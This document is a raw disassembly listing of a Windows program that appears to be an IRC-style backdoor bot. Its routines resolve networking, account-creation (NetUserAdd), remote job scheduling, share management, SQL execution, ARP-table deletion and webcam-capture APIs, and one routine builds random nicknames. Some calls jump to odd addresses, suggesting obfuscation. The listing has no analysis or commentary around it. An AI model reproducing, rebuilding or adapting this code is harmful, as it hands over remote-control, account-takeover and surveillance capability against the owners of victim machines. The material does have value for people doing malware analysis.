		jz	short loc_40A2E8
		cmp	dword_4CB670, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB62C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB66C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6D8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB624, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB5E8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB658, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6C8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB5FC, ebx
		jz	short loc_40A2E8
		cmp	eax, ebx
		jnz	short loc_40A2F2
		jmp	short loc_40A2E8
; ---------------------------------------------------------------------------


loc_40A2DD:				; CODE XREF: sub_409B13+51Fj
		nop
		call	near ptr 26A08B1h
		mov	dword_4CB728, eax


loc_40A2E8:				; CODE XREF: sub_409B13+6BEj
					; sub_409B13+6CAj ...
		mov	dword_4CB724, 1


loc_40A2F2:				; CODE XREF: sub_409B13+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F7
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CB580, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CB508, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CB60C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CB5B8, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CB618, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CB5DC, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CB548, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CB540, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CB550, eax
		call	esi
		cmp	dword_4CB580, ebx
		mov	ecx, dword_4CB5DC
		mov	dword_4CB678, eax
		jz	short loc_40A3D3
		cmp	dword_4CB508, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB60C, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB5B8, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB618, ebx
		jz	short loc_40A3D3
		cmp	ecx, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB548, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB540, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB550, ebx
		jz	short loc_40A3D3
		cmp	eax, ebx
		jnz	short loc_40A3DD


loc_40A3D3:				; CODE XREF: sub_409B13+87Ej
					; sub_409B13+886j ...
		mov	dword_4CB72C, 1


loc_40A3DD:				; CODE XREF: sub_409B13+8BEj
		cmp	ecx, ebx
		jz	short loc_40A412
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CB5F4, eax
		jnz	short loc_40A412
		jmp	short loc_40A40C
; ---------------------------------------------------------------------------


loc_40A3F7:				; CODE XREF: sub_409B13+7EAj
		nop
		call	near ptr 26A08B1h
		mov	dword_4CB730, eax
		mov	dword_4CB72C, 1


loc_40A40C:				; CODE XREF: sub_409B13+8E2j
		mov	dword_4CB5F4, ebx


loc_40A412:				; CODE XREF: sub_409B13+8CCj
					; sub_409B13+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45C
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CB5CC, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CB6FC, eax
		call	esi
		cmp	dword_4CB5CC, ebx
		mov	dword_4CB55C, eax
		jz	short loc_40A467
		cmp	dword_4CB6FC, ebx
		jz	short loc_40A467
		cmp	eax, ebx
		jnz	short loc_40A471
		jmp	short loc_40A467
; ---------------------------------------------------------------------------


loc_40A45C:				; CODE XREF: sub_409B13+90Aj
		call	near ptr 26A08B1h
		nop
		mov	dword_4CB738, eax


loc_40A467:				; CODE XREF: sub_409B13+939j
					; sub_409B13+941j ...
		mov	dword_4CB734, 1


loc_40A471:				; CODE XREF: sub_409B13+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A578
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CB538, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CB510, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CB588, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CB5BC, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CB6D4, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CB570, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CB51C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CB50C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CB5A4, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CB69C, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CB654, eax
		call	esi
		cmp	dword_4CB538, ebx
		mov	dword_4CB578, eax
		jz	short loc_40A583
		cmp	dword_4CB510, ebx
		jz	short loc_40A583
		cmp	dword_4CB588, ebx
		jz	short loc_40A583
		cmp	dword_4CB5BC, ebx
		jz	short loc_40A583
		cmp	dword_4CB6D4, ebx
		jz	short loc_40A583
		cmp	dword_4CB570, ebx
		jz	short loc_40A583
		cmp	dword_4CB51C, ebx
		jz	short loc_40A583
		cmp	dword_4CB50C, ebx
		jz	short loc_40A583
		cmp	dword_4CB5A4, ebx
		jz	short loc_40A583
		cmp	dword_4CB69C, ebx
		jz	short loc_40A583
		cmp	dword_4CB654, ebx
		jnz	short loc_40A58D
		jmp	short loc_40A583
; ---------------------------------------------------------------------------


loc_40A578:				; CODE XREF: sub_409B13+969j
		nop
		call	near ptr 26A08B1h
		mov	dword_4CB740, eax


loc_40A583:				; CODE XREF: sub_409B13+A11j
					; sub_409B13+A19j ...
		mov	dword_4CB73C, 1


loc_40A58D:				; CODE XREF: sub_409B13+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C2
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CB560, eax
		call	esi
		cmp	dword_4CB560, ebx
		mov	dword_4CB63C, eax
		jz	short loc_40A5CD
		cmp	eax, ebx
		jnz	short loc_40A5D7
		jmp	short loc_40A5CD
; ---------------------------------------------------------------------------


loc_40A5C2:				; CODE XREF: sub_409B13+A85j
		nop
		call	near ptr 26A08B1h
		mov	dword_4CB748, eax


loc_40A5CD:				; CODE XREF: sub_409B13+AA7j
					; sub_409B13+AADj
		mov	dword_4CB744, 1


loc_40A5D7:				; CODE XREF: sub_409B13+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60C
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CB6C0, eax
		call	esi
		cmp	dword_4CB6C0, ebx
		mov	dword_4CB6BC, eax
		jz	short loc_40A617
		cmp	eax, ebx
		jnz	short loc_40A621
		jmp	short loc_40A617
; ---------------------------------------------------------------------------


loc_40A60C:				; CODE XREF: sub_409B13+ACFj
		call	near ptr 26A08B1h
		nop
		mov	dword_4CB750, eax


loc_40A617:				; CODE XREF: sub_409B13+AF1j
					; sub_409B13+AF7j
		mov	dword_4CB74C, 1


loc_40A621:				; CODE XREF: sub_409B13+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A680
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CB6EC, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CB6E4, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CB6AC, eax
		call	esi
		cmp	dword_4CB6EC, ebx
		mov	dword_4CB57C, eax
		jz	short loc_40A68B
		cmp	dword_4CB6E4, ebx
		jz	short loc_40A68B
		cmp	dword_4CB6AC, ebx
		jz	short loc_40A68B
		cmp	eax, ebx
		jnz	short loc_40A695
		jmp	short loc_40A68B
; ---------------------------------------------------------------------------


loc_40A680:				; CODE XREF: sub_409B13+B19j
		nop
		call	near ptr 26A08B1h
		mov	dword_4CB758, eax


loc_40A68B:				; CODE XREF: sub_409B13+B55j
					; sub_409B13+B5Dj ...
		mov	dword_4CB754, 1


loc_40A695:				; CODE XREF: sub_409B13+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6CA
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CB5B0, eax
		call	esi
		cmp	dword_4CB5B0, ebx
		mov	dword_4CB6B8, eax
		jz	short loc_40A6D5
		cmp	eax, ebx
		jnz	short loc_40A6DF
		jmp	short loc_40A6D5
; ---------------------------------------------------------------------------


loc_40A6CA:				; CODE XREF: sub_409B13+B8Dj
		nop
		call	near ptr 26A08B1h
		mov	dword_4CB760, eax


loc_40A6D5:				; CODE XREF: sub_409B13+BAFj
					; sub_409B13+BB5j
		mov	dword_4CB75C, 1


loc_40A6DF:				; CODE XREF: sub_409B13+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A768
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CB680, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CB6CC, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CB608, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CB5C0, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CB660, eax
		call	esi
		cmp	dword_4CB680, ebx
		mov	dword_4CB5D0, eax
		jz	short loc_40A773
		cmp	dword_4CB6CC, ebx
		jz	short loc_40A773
		cmp	dword_4CB608, ebx
		jz	short loc_40A773
		cmp	dword_4CB5C0, ebx
		jz	short loc_40A773
		cmp	dword_4CB660, ebx
		jz	short loc_40A773
		cmp	eax, ebx
		jnz	short loc_40A77D
		jmp	short loc_40A773
; ---------------------------------------------------------------------------


loc_40A768:				; CODE XREF: sub_409B13+BD7j
		nop
		call	near ptr 26A08B1h
		mov	dword_4CB768, eax


loc_40A773:				; CODE XREF: sub_409B13+C2Dj
					; sub_409B13+C35j ...
		mov	dword_4CB764, 1


loc_40A77D:				; CODE XREF: sub_409B13+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B2
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CB594, eax
		call	esi
		cmp	dword_4CB594, ebx
		mov	dword_4CB674, eax
		jz	short loc_40A7BD
		cmp	eax, ebx
		jnz	short loc_40A7C7
		jmp	short loc_40A7BD
; ---------------------------------------------------------------------------


loc_40A7B2:				; CODE XREF: sub_409B13+C75j
		call	near ptr 26A08B1h
		nop
		mov	dword_4CB770, eax


loc_40A7BD:				; CODE XREF: sub_409B13+C97j
					; sub_409B13+C9Dj
		mov	dword_4CB76C, 1


loc_40A7C7:				; CODE XREF: sub_409B13+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7CF	proc near		; CODE XREF: sub_401ACD+2537p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CB704, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A817
		push	dword_4CB708
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A817:				; CODE XREF: sub_40A7CF+1Aj
		cmp	dword_4CB70C, esi
		jz	short loc_40A84B
		push	dword_4CB710
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A84B:				; CODE XREF: sub_40A7CF+4Ej
		cmp	dword_4CB714, esi
		jz	short loc_40A87F
		push	dword_4CB718
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A87F:				; CODE XREF: sub_40A7CF+82j
		cmp	dword_4CB71C, esi
		jz	short loc_40A8B3
		push	dword_4CB720
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A8B3:				; CODE XREF: sub_40A7CF+B6j
		cmp	dword_4CB724, esi
		jz	short loc_40A8E7
		push	dword_4CB728
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A8E7:				; CODE XREF: sub_40A7CF+EAj
		cmp	dword_4CB72C, esi
		jz	short loc_40A91B
		push	dword_4CB730
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A91B:				; CODE XREF: sub_40A7CF+11Ej
		cmp	dword_4CB734, esi
		jz	short loc_40A94F
		push	dword_4CB738
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A94F:				; CODE XREF: sub_40A7CF+152j
		cmp	dword_4CB73C, esi
		jz	short loc_40A983
		push	dword_4CB740
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A983:				; CODE XREF: sub_40A7CF+186j
		cmp	dword_4CB744, esi
		jz	short loc_40A9B7
		push	dword_4CB748
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A9B7:				; CODE XREF: sub_40A7CF+1BAj
		cmp	dword_4CB74C, esi
		jz	short loc_40A9EB
		push	dword_4CB750
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A9EB:				; CODE XREF: sub_40A7CF+1EEj
		cmp	dword_4CB754, esi
		jz	short loc_40AA1F
		push	dword_4CB758
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AA1F:				; CODE XREF: sub_40A7CF+222j
		cmp	dword_4CB75C, esi
		jz	short loc_40AA53
		push	dword_4CB760
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AA53:				; CODE XREF: sub_40A7CF+256j
		cmp	dword_4CB764, esi
		jz	short loc_40AA87
		push	dword_4CB768
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AA87:				; CODE XREF: sub_40A7CF+28Aj
		cmp	dword_4CB76C, esi
		jz	short loc_40AABB
		push	dword_4CB770
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AABB:				; CODE XREF: sub_40A7CF+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42DA1C
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE8
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_40AAE8:				; CODE XREF: sub_40A7CF+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAFA	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C96p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB684
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB22
		push	[esp+arg_0]
		call	dword_4CB6C8
		test	eax, eax
		jnz	short loc_40AB1B
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40AB1B:				; CODE XREF: sub_40AAFA+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB22:				; CODE XREF: sub_40AAFA+Dj
		retn
sub_40AAFA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB23	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CB560
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB31
		call	ecx

locret_40AB31:				; CODE XREF: sub_40AB23+Aj
		retn
sub_40AB23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB32	proc near		; CODE XREF: sub_401ACD:loc_403F5Ep

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CB6C0
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF8
		sub	ecx, 32h
		jz	loc_40ABF1
		sub	ecx, 48h
		jz	short loc_40AB92
		sub	ecx, 6Eh
		jz	short loc_40AB8B


loc_40AB74:				; CODE XREF: sub_40AB32+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42DC30
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40ABD2
; ---------------------------------------------------------------------------


loc_40AB8B:				; CODE XREF: sub_40AB32+40j
		push	offset unk_42DC0C
		jmp	short loc_40ABC4
; ---------------------------------------------------------------------------


loc_40AB92:				; CODE XREF: sub_40AB32+3Bj
		push	[ebp+var_8]
		call	sub_41B4D5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBF
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CB6C0
		cmp	eax, edi
		jz	short loc_40ABF8
		jmp	short loc_40AB74
; ---------------------------------------------------------------------------


loc_40ABBF:				; CODE XREF: sub_40AB32+79j
		push	offset unk_42DBDC


loc_40ABC4:				; CODE XREF: sub_40AB32+5Ej
					; sub_40AB32+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40ABD2:				; CODE XREF: sub_40AB32+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40ABE2:				; CODE XREF: sub_40AB32+C8j
					; sub_40AB32+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40ABF1:				; CODE XREF: sub_40AB32+32j
		push	offset unk_42DBAC
		jmp	short loc_40ABC4
; ---------------------------------------------------------------------------


loc_40ABF8:				; CODE XREF: sub_40AB32+29j
					; sub_40AB32+89j
		cmp	[esi], edi
		jbe	short loc_40ABE2
		lea	ebx, [esi+4]


loc_40ABFF:				; CODE XREF: sub_40AB32+DAj
		push	ebx
		call	dword_4CB6BC
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFF
		jmp	short loc_40ABE2
sub_40AB32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC10	proc near		; CODE XREF: sub_401ACD+2248p
					; sub_401ACD+2399p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB5E8
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CB774
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B886
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC10	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC69	proc near		; CODE XREF: sub_412B09+24Cp
					; sub_412B09+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC92
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AC85:				; CODE XREF: sub_40AC69+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC85
		pop	edi
		jmp	short loc_40AC96
; ---------------------------------------------------------------------------


loc_40AC92:				; CODE XREF: sub_40AC69+Aj
		mov	edx, [esp+4+arg_0]


loc_40AC96:				; CODE XREF: sub_40AC69+27j
		test	esi, esi
		pop	esi
		jz	short loc_40ACA0
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40ACA0:				; CODE XREF: sub_40AC69+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC69	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB6	proc near		; CODE XREF: sub_40B08E+49p
					; DATA XREF: ___:off_42DC78o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 26B07C3h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42DCE0[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1E


loc_40ACF8:				; CODE XREF: sub_40ACB6+66j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB54
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF8


loc_40AD1E:				; CODE XREF: sub_40ACB6+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB6	endp

; ---------------------------------------------------------------------------
		db 56h
		dd 98E89057h, 50022A5Ah, 10BA7E8h, 247C8B00h, 2404C710h
		dd 429130h, 42D00868h, 571C6A00h, 10C37E8h, 83F63300h
		dd 353910C4h, 429098h, 87E8267Eh, 6A00010Bh, 0F759990Ah
		dd 685752F9h, 42BB54h, 0E8571C6Ah, 10C10h, 4614C483h, 9098353Bh
		dd 0DA7C0042h, 5E5FC78Bh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AD81	proc near		; CODE XREF: sub_401ACD+69CDp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 26B07C3h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC4


loc_40ADAE:				; CODE XREF: sub_40AD81+41j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ADAE


loc_40ADC4:				; CODE XREF: sub_40AD81+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AD81	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 26B07C3h
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431938
		push	eax
		push	esi
		call	near ptr 26E0000h
		nop
		movsx	eax, byte_431938
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AE0A:				; CODE XREF: ___:0040AE15j
		cmp	eax, ecx
		jnz	short loc_40AE11
